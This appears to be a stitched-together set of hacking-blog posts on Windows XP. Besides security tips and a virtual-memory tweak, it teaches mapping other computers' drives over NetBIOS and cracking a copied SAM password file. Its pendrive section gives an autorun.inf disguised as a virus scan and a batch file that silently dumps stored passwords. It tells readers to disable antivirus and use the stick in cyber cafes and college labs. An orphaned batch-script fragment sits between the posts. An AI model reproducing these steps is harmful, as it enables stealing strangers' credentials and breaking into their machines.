SECURE YOURSELF

Hello friends !!! Still now I have told about hacking and cracking. All the tricks posted in this blog are only for educational purpose. If you know how a virus infects, how a hacker penetrates into a system, how an attacker steals your private data, then you must defend them all. This is what www.xtrmhack.com is trying to provide. Its ambition is nothing but to provide security. Today I will give you guys some security tips which you must adopt for securing your system, for securing yourself.



1. Run Windows Update at least once a week to patch your system against the latest vulnerabilities, loopholes and exploits.

2. Use a strong password.It should be a combination of alphabets, numbers and special characters in order to prevent brute force attack.

3. Your password should not be a word that appears in the dictionary in order to prevent dictionary attack.

4. Your password should be changed regularly and it should not be repeated in multiple places.

5. Install some good Anti-virus software (like Kaspersky, Avira, McAfee, Norton, AVG) and update its virus definition files at least once in a week to ward off latest viruses, worms and trojans.

6. Install a firewall (like ZoneAlarm) on your system.This keeps you notified of any live attacks, malicious data or probes.

7. Install Anti-spyware tool on your computer which will detect and remove any spyware tools on your computer.

8. Try to connect to the Internet only after connecting to a proxy server.Stay anonymous while surfing the Internet.

9. Use care when reading Email sent from unknown source.Email attachments must be scanned before downloading.

10.Use care when downloading and installing programs from restricted sites or those sites which you don't trust.

Hope the information will be helpful to you...So secure yourself before the attack...Have fun :-)

NETBIOS HACKING

Hello friends...Hope you guys are enjoying my previous posts on XP hacking...Now I will show you how to hack a remote computer and gain access to its hard disk and printer...This technique is called NetBIOS Hacking...NetBIOS stands for Network Basic Input Output System...It was originally developed by IBM and Sytek as an Application Programming Interface (API) for client software to access LAN resources...By default it runs on port 139...Ok, let's start NetBIOS :-)

1. Goto "start" and click "Run"...



2. Type "cmd" and click "Ok"...the Command Prompt will appear...



3. First use "nbtstat" command for manually interact with NetBIOS Over TCP/IP...All the attributes (switches) used with nbtstat command and their usage can be viewed...

Syntax: C:\>nbtstat -n



An intruder could use the output from an nbtstat against your machines to begin gathering information about them...Here 192.168.110.29 is an IP address of remote computer and <20> is nothing but the username of that system...

4. Now in the command prompt use "net view" command....It is one of the netbios commands to view the shared resources of the remote computer...Syntax: C:\>net view \\192.168.110.29

If succeeded a list of HARD-DISK DRIVES and PRINTERS are shown with the massage "The command was completed successfully"...

5. Now use the "net use" command in the command prompt...This command enables a computer to map a share to its local drive...Syntax: C:\>net use E: \\192.168.110.29\C
Syntax: C:\>net use F: \\192.168.110.29\Myprint
Syntax: C:\>net use G: \\192.168.110.29\SharedDocs

Here E, F AND G are the Network Drive Names that are to be created on your computer to access remote computer’s hard-disk...And C, SharedDocs are the names of remote computer’s hard-disk drives that you want to hack..."Myprint" is the name of remote computer’s printer...

6. After succeeding your computer will give a message that "The command completed successfully"...Now open "My Computer" you will see a new "Hard-Disk drive" (Shared) with the specified name...You can open it and access remote computer’s Hard-Drive...Note: You can scan your network computers with a network scanner...I personally used Angry IP Scanner...It scans IP addresses and ports as well as has many other features...Download the scanner from HERE and find the live hosts...If you face any problem just post your comment...


Note: If Remote Computer’s Firewall Is Enabled Your Computer Will Not Succeed In Gaining Access To Remote Computer Through Netbios.

INCREASE VIRTUAL MEMORY

Hello friends...I hope you liked my post on locking a folder without any software...Now I will show you guys how to increase the Virtual Memory and make your system faster...Hope you will enjoy...

For computer users that multi-task or work with high performance applications, you should know about virtual memory and how to get the most from it. Virtual memory can be best described as simulated RAM. If your computer has 1 GB of RAM and you use up all of this memory with the OS and several applications, your computer is forced to compensate by switching from physical RAM to virtual memory. Without virtual memory, once your computer ran out of physical RAM, no other programs or higher performance could be possible.With virtual memory, the computer copies data from the RAM and writes it to the hard drive- essentially freeing up RAM and allowing you to open additional applications or allow a high performance application to run uninhibited.



However, the downside of virtual memory is that since virtual memory is copied to your hard drive and your hard drive is much slower than physical RAM, the user will notice a significant decrease in performance. If you would like to increase performance, there are a few things you can do. Here is a trick to increase virtual memory for both Windows XP and Vista.

1. To invoke the system properties dialog, click the Start button, right-click "My Computer" and select "Properties".This will open up your general system information dialog.



2. Click "Advanced" tab, then under "Performance", click "Settings".



3. "Performance Options" dialog box will appear...Click on "Advanced" tab...Then under "Virtual memory", click "Change".



4. Under "Drive [Volume Label]", click the drive that contains the paging file that you want to change.Under Paging file size for selected drive, check "Custom size" box. You can enter the amount of memory you would like to reserve for Virtual memory by entering the initial and maximum size.Click "Set".



Note: You should choose the same amount for the initial size and maximum size.This will Stop your CPU from constantly changing the paging file.

You are done...Your system is faster now...Have fun :-)

echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End
:End

CRACK THE SAM

Hello friends...I have posted topics on windows xp password cracking...Now it's time to hack, i.e to get the admin password without altering it...Hope you guys will enjoy it...

This method takes three steps:

1. First what is SAM file???All of the passwords on a windows xp are stored in a SAM(Security Accounts Manager) file...This file is located on your computer’s hard drive in the directory "C:\WINDOWS\system32\config".It stores user's passwords in a hashed format (in LM hash and NTLM hash).The SAM file cannot be moved or copied while Windows is running, since the Windows kernel obtains and keeps an exclusive filesystem lock on the SAM file.



2. Second how to obtain the SAM file???To obtain this SAM file, boot your system with a Live CD(Puppy Linux/Ubuntu)...Nevigate to the config folder and take a copy of SAM file in another drive...

Note: Download one of the versions of Puppy Linux iso file from HERE and burn the iso file...Your live cd is ready...Puppy Linux 4.3.1 is the latest one:



3. Third how to crack the SAM file???Now use some password cracking softwares like SAMinside or Lophtcrack(LC5) in order to decrypt the hash file...This is basically a bruteforce attack...It may take several minutes...All the passwords will be shown as NT-Password as shown in figure...



You are done...Reboot your system and login your admin account with the password you already hacked...

Note: I personally used SAMinside...It's simple and works perfect...Download the cracker from HERE and crack the SAM file...If you face any problem just post your comment...

Extract the file using WinRAR.

HACK USING PENDRIVE

Hello friends...Hope you guys are enjoying the tips and tricks on Windows XP...Today I will show you how to hack passwords using pendrive...Enjoy :-)



Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE,Firefox and Google Chrome.There are some online available tools for recovering these passswords from their stored places.They are generally known as Windows Password Recovery Tools.Using these tools and an USB pendrive you can sniff those stored passwords from any computer.A brief description of these tools are given below:

MessenPass

Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.

Note: Download MessenPass from HERE.


Mail PassView

Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.

Note: Download MessenPass from HERE.


IE PassView

IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 - v6.0.

Note: Download MessenPass from HERE.


PasswordFox

PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename.

Note: Download MessenPass from HERE.


ChromePass

ChromePass is a small password recovery tool that allows you to view the user names and passwords stored by Google Chrome Web browser. For each password entry, the following information is displayed: Origin URL, Action URL, User Name Field, Password Field, User Name, Password, and Created Time. You can select one or more items and then save them into text/html/xml file or copy them to the clipboard.

Note: Download MessenPass from HERE.


Now you have the 5 password recovery tools...These tools are detected by modern Anti-virus software...That's why you should temporarily disable your Anti-virus...If you are done, follow the steps carefully:

1. Copy the files – mspass.exe, mailpv.exe, iepv.exe, chromePass.exe and passwordfox.exe into your USB Drive.

2. Create below two files by writing the below codes in a text file and changing the extension as autorun.inf and Hack Password.bat.

• autorun.inf

[autorun] open=launch.bat
ACTION= Perform a Virus Scan

• Hack Password.bat

start mspass.exe /stext mspass.txt start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start chromePass.exe /stext chromePass.txt
start passwordfox.exe /stext passwordfox.txt

  

Now save the two files into your USB Drive.You are done :-)

3. Insert the pendrive and the autorun window will pop-up.Select the first option: Perform a Virus Scan

4. Now all the password recovery tools will silently get executed in the background The passwords get stored in automatically generated 5 text files.

Now you have a list of passwords in your pendrive...Try this trick in any cyber cafe or your college computer lab...This will produce a massive collection of passwords...Have fun...If you face any problem with the above process, post your comment...
